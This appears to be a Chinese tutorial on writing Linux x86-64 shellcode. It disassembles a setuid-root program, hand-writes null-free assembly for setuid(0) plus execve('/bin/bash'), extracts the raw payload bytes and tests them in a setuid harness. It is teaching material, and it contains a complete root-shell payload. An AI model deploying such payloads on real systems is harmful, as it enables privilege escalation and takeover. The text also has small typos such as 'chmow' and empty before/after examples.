shellcode编写
retsh.c
// retsh.c
#include<unistd.h>
char* buff[] = {
    "/bin/bash"
};
void main(){
    setuid(0);
    execve("/bin/bash", buff, NULL);
}
rz$ gcc retsh.c -static -o retsh
rz$ sudo chown root.root retsh
rz$ sudo chmod u+s retsh
rz$ ./retsh
root# whoami
root
分析生成的文件
rz$ r2 retsh
> s main
> pdf
|   sym.main ();
|           0x00400b4d      55             push rbp
|           0x00400b4e      4889e5         mov rbp, rsp
|           0x00400b51      bf00000000     mov edi, 0
|           0x00400b56      e8957f0400     call sym.__setuid    # setuid
|           0x00400b5b      ba00000000     mov edx, 0
|           0x00400b60      488d3589852b.  lea rsi, obj.buff           ; 0x6b90f0
|           0x00400b67      488d3d561409.  lea rdi, str.bin_bash       ; 0x491fc4 ; "/bin/bash"
|           0x00400b6e      e84d7f0400     call sym.execve      # execve
> s sym.__setuid
> pdf
|   sym.__setuid (int arg1);
|           0x00448af0      4883ec38       sub rsp, 0x38               ; '8'
|           0x00448af4      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00448afd      4889442428     mov qword [local_28h], rax
|           0x00448b02      31c0           xor eax, eax
|           0x00448b04      48833dc40427.  cmp qword [0x006b8fd0], 0
|       ,=< 0x00448b0c      752a           jne 0x448b38
|       |   0x00448b0e      b869000000     mov eax, 0x69               ; 'i' ; 105
|       |   0x00448b13      0f05           syscall
> s sym.execve
> pdf
|   sym.execve ();
|           0x00448ac0      b83b000000     mov eax, 0x3b               ; ';' ; 59
|           0x00448ac5      0f05           syscall
如上,编写相应的汇编代码
注:/bin/bash转换为16进制表示为0x2f62696e2f62617368,由于内存中是小端存储,将其反转为0x687361622f6e69622f,长度18,可以先将0x68压栈,在将0x7361622f6e69622f压栈,此时,rsp所指向的字符串为/bin/bash,将rdi指向此处即可。
; shell.asm
global _start
_start:
xor rdi, rdi
; setuid(0)
xor eax, eax
mov al, 0x69
syscall         ; setuid
xor rax, rax
mov al, 0x68
push rax
mov rax, 0x7361622f6e69622f
push rax
mov rdi, rsp    ; str.bin_bash; "/bin/bash"
xor rax, rax
push rax
mov rax, rsp
push rax        ; 此时rsp就是 "/bin/bash"地址的指针
mov rsi, rsp    ; obj.buff; {"/bin/bash"}
;xor rsi, rsi
xor edx, edx      ; edx
; execve("/bin/bash", {"/bin/bash"}, NULL) 
xor eax, eax
mov al, 0x3b
syscall         ; execve
编译链接
rz$ nasm -f elf64 shell.asm -o shell.o
rz$ ld shell.o -o shell
提取shellcode
# extract.sh
if [ $# != 1 ]; then
    echo "Usage: $1 obj.o"
else
    for i in `objdump -d $1 | grep "^[[:space:]]*[0-9a-f]\+:" | cut -f 2`; do
        echo -n \\x$i
    done
    echo
fi
在提取之前先观察shellcode,会发现很多00字符,需要进行修改过滤掉这些怀字符,如下:
- 修改前:
   
- 修改后:
   
之后提取shellcode:
` \x48\x31\xff\x31\xc0\xb0\x69\x0f\x05\x48\x31\xc0\xb0\x68\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x48\x89\xe7\x48\x31\xc0\x50\x48\x89\xe0\x50\x48\x89\xe6\x31\xd2\x31\xc0\xb0\x3b\x0f\x05 `
验证
为了验证shellcode可以编写一个简单的c程序:
#include<stdio.h>
char* shellcode = "\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05"
"\x48\x31\xc0\xb0\x68\x50\x48\xb8\x2f\x62\x69"
"\x6e\x2f\x62\x61\x73\x50\x48\x89\xe7\x48\x31\xc0\x50\x48"
"\x89\xe0\x50\x48\x89\xe6\x31\xd2\x31\xc0\xb0\x3b\x0f\x05";
void main(){
    puts("shellcode ~~~");
    ((void (*)(void))shellcode)(); //将shellcode当作函数执行
}
rz$ gcc shell.c -o shell.out
rz$ sudo chown root.root shell.out
rz$ sudo chmow u+s shell.out
rz$ ./shell.out
root# whoami
root
